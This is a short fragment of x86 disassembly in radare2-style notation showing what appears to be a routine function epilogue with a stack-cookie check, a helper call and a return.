xor ecx, ebp
pop ebx
call fcn.1003b125
mov esp, ebp
pop ebp
ret